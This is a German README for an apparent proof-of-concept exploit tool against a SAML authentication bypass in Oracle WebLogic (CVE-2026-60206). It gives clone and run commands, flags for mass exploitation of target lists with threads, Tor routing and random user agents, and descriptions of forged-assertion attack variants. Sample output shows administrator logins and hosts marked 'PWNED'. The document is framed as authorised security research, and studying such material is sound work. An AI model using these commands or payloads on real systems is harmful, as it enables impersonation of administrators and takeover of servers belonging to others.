
Technische Analyse und Proof-of-Concept für CVE-2026-60206, eine kritische Schwachstelle zur Umgehung der SAML-Authentifizierung im Oracle WebLogic Server.
Dieses Repository bietet einen Proof-of-Concept-Exploit für CVE‑2026‑60206, eine kritische Schwachstelle zur Umgehung der Authentifizierung in der SAML-Implementierung von Oracle WebLogic Server. Der Fehler ermöglicht es einem entfernten Angreifer mit geringen Rechten, den Server durch das Fälschen von SAML-Assertions vollständig zu kompromittieren.
⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung und -tests bestimmt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für deren Test Sie eine ausdrückliche Genehmigung haben. Die Autoren übernehmen keine Haftung für Missbrauch.
CVE-2026-60206 betrifft die Core-Komponente von Oracle WebLogic Server. Die Schwachstelle resultiert aus einer fehlerhaften Authentifizierungsbehandlung in der SAML-Protokollimplementierung. Mehrere Angriffsvektoren – wie XML-Signatur-Wrapping (XSW), die Akzeptanz unsignierter Assertions, NameID-Manipulation und die Umgehung von Audience-/Conditions-Prüfungen – ermöglichen es einem Angreifer, sich als beliebige Benutzer auszugeben (z. B. weblogic) und administrativen Zugriff zu erlangen.
Betroffene Versionen:
Der PoC implementiert die folgenden Angriffsvektoren:
WantAssertionsSigned nicht erzwungen wird).AudienceRestriction, um den Geltungsbereich zu erweitern.NotBefore/NotOnOrAfter, um Gültigkeitsprüfungen zu umgehen.all, unsigned, xsw, nameid, audience, conditions, combo oder replay.-l).-r).httpx, falls installiert, andernfalls requests (HTTP/1.1).--save-payloads).-c / --check) – schnelle Ermittlung, ob ein Ziel verwundbar ist (kein Exploit).git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
Erforderlich: requests, urllib3
Optional (erweitert die Funktionalität):
httpx – für HTTP/2-Unterstützunglxml – für verbessertes SAML-Parsingsignxml, cryptography – für die Signaturverarbeitung (für die Ausnutzung nicht erforderlich)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Flag | Beschreibung |
|---|---|
-h, --help | Hilfemeldung anzeigen und beenden. |
--proxy PROXY | Proxy-URL (wird durch --tor überschrieben, falls verwendet). |
--no-verify | SSL-Zertifikatsprüfung deaktivieren. |
--cookie COOKIE | Session-Cookie(s) (z. B. name=value; name2=value2). |
--auth AUTH | Anmeldedaten für die Basis-Authentifizierung (USER:PASS). |
| Flag | Beschreibung |
|---|---|
-t, --target TARGET | URL eines einzelnen Ziels (z. B. https://host:7002). |
-l, --list LIST | Datei mit Zielliste für den Massen-Scan oder einzelne URL. |
-f, --file FILE | Alias für --list. |
| Flag | Beschreibung |
|---|---|
-r, --requestfile REQUESTFILE | Rohe HTTP-Anfrage aus Datei laden (ersetzt SAML-Angriffe). |
--method METHOD | Zu verwendende HTTP-Methode (für rohe Anfrage oder einzelne Anfrage; Standard: GET). |
--random-agent | Einen zufälligen User-Agent aus der integrierten Liste verwenden. |
-A, --user-agent USER_AGENT | Benutzerdefinierter User-Agent-Header-Wert. |
--tor | Tor-Anonymitätsnetzwerk verwenden (standardmäßig SOCKS5). |
--tor-port TOR_PORT | Tor-Proxy-Port (Standard: 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tor-Proxy-Typ (Standard: SOCKS5). |
--check-tor | Prüfen, ob Tor ordnungsgemäß verwendet wird (beendet mit Ergebnis). |
--delay DELAY | Verzögerung in Sekunden zwischen den einzelnen Anfragen. |
--timeout TIMEOUT | Timeout in Sekunden (Standard: 30). |
--retries RETRIES | Anzahl der Wiederholungen bei Timeout/Fehlern (Standard: 3). |
--retry-on RETRY_ON | Anfrage wiederholen, wenn der Antwortinhalt auf einen Regex passt (z. B. 'captcha'). |
-dr, --disable-redirects | HTTP-Umleitungen nicht verfolgen. |
| Flag | Beschreibung |
|---|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | Angriffsmodus (Standard: all). |
--detect | Nur WebLogic-Version und SAML-Konfiguration erkennen (kein Angriff). |
-c, --check | Schnelle Schwachstellenprüfung (nur Erkennung, beendet mit Ergebnis). |
-u, --user USER | Zielbenutzer, als der man sich ausgeben möchte (Standard: weblogic). |
--groups GROUPS | Gruppen, die in die SAML-Assertion aufgenommen werden sollen (Standard: Administrators,Monitors). |
--issuer ISSUER | SAML-Issuer-Entity-ID. |
--audience AUDIENCE | SAML-Audience-Entity-ID. |
--relay-state RELAY_STATE | RelayState-Parameter für den SAML-POST. |
--base64 | Die SAML-Antwort im POST Base64-kodieren. |
--extra-attrs [NAME=VALUE ...] | Zusätzliche SAML-Attribute (z. B. role=admin). |
--replay-file REPLAY_FILE | Pfad zur erfassten SAML-Antwort für die Wiedergabe. |
--save-payloads | Generierte SAML-Payloads unter ./payloads/ speichern. |
--continue-on-success | Nach einem erfolgreichen Angriff mit dem Testen fortfahren. |
-l):| Flag | Beschreibung |
|---|---|
--exploit | Unsignierte SAML-Assertion testen (Standard: nur Erkennung). |
-T, --threads THREADS | Parallele Threads (Standard: 10). |
| Flag | Beschreibung |
|---|---|
-v, --verbose | Ausführlichkeit erhöhen (Debug-Ausgabe). |
-q, --quiet | Nicht wesentliche Ausgaben unterdrücken. |
--list-modes | Alle Angriffsmodi mit Beschreibungen auflisten und beenden. |
-o, --output OUTPUT | JSON- oder CSV-Bericht in eine Datei schreiben. |
detectFührt Versionserkennung und SAML-Endpunkt-Erkundung durch. Es wird kein Angriff gestartet.
unsignedInjiziert eine vollständig unsignierte SAML-Assertion. Wenn das Ziel WantAssertionsSigned nicht erzwingt, wird die Authentifizierung vollständig umgangen.
Varianten: unsigned (Standard), unsigned_stripped (entfernt alle Signaturreferenzen).
xsw (XML-Signatur-Wrapping)Platziert eine bösartige unsignierte Assertion vor (oder umhüllend) einer gültigen signierten Assertion. Der SAML-Prozessor wählt möglicherweise die erste Assertion aus, während der Signaturprüfer die signierte überprüft.
Varianten: xsw1 (einfaches Voranstellen), xsw2 (gleiche ID wie das Original), xsw3 (verschachtelter Wrapper), xsw4 (Geschwisterelement).
nameidManipuliert das NameID-Feld, um den Identitäts-Mapper von WebLogic zu verwirren und die Ausgabe als anderer Benutzer zu ermöglichen.
Varianten: comment_injection, whitespace, format_confusion, xpath_injection.
audienceUmgeht AudienceRestriction-Prüfungen, indem das Audience-Element entfernt oder modifiziert wird.
Varianten: remove_audience, wildcard_audience, extra_audience.
conditionsUmgeht zeitbasierte Einschränkungen (z. B. NotBefore, NotOnOrAfter).
Varianten: future_timestamp, expired_timestamp, remove_conditions, infinite_validity.
comboKombiniert XSW, unsignierte Assertion und NameID-Manipulation in einem einzigen Payload – der wahrscheinlichste Vektor für eine vollständige Kompromittierung.
Varianten: combo_full (mit Kommentarinjektion), combo_stealth (mit Zeilenumbruch).
replaySpielt eine zuvor erfasste SAML-Antwort erneut ab und modifiziert optional das Ziel oder entfernt Audience-Einschränkungen.
Varianten: replay_modified (passt Destination/Empfänger an), replay_cross_sp (entfernt Audience-Einschränkungen).
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝
🔍 Detecting WebLogic version and SAML configuration...
Detected WebLogic version: 12.2.1.4.0
⚠️ Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
Found SAML metadata: /saml2/sp/metadata
Found SAML ACS: /saml2/sp/acs (HTTP 200)
============================================================
🚀 Starting comprehensive SAML attack suite
Target: https://192.168.1.100:7002
Target User: weblogic
============================================================
── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================
EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
- [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
- [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10
============================================================
CVE-2026-60206 Mass Scanner
Targets: 50
Threads: 10
Mode: Exploit
============================================================
[10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s
[!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
[!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
... (continues) ...
============================================================
SCAN SUMMARY
============================================================
Total targets: 50
Reachable: 45
WebLogic: 12
Vuln version: 8
Exploited: 3
Duration: 42.5s
============================================================
[!!] SUCCESSFULLY EXPLOITED:
https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
https://10.0.0.15:7002 → weblogic via /saml2/sp/acs
[!] VULNERABLE VERSIONS (not yet exploited):
https://10.0.0.20:7002 (14.1.1.0.0)
https://10.0.0.25:7002 (15.1.1.0.0)
... (truncated)
Um diesen PoC sicher zu testen, richten Sie einen WebLogic Server mit aktiviertem SAML und einer der betroffenen Versionen ein. Sie können beispielsweise Docker verwenden:
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts
Die SAML-Konfiguration muss mindestens einen SAML-2.0-Service-Provider mit einem ACS-Endpunkt (z. B. /saml2/sp/acs) und veröffentlichten Metadaten enthalten.
Dieses Projekt ist unter der GNU-v3.0-Lizenz lizenziert – Details finden Sie in der Datei LICENSE.
Issues und Pull-Requests sind willkommen. Bitte stellen Sie sicher, dass Ihre Beiträge denselben ethischen Nutzungsrichtlinien folgen.
Denken Sie daran: Holen Sie vor dem Testen eines Sicherheitstools immer die entsprechende Genehmigung ein. Bleiben Sie ethisch!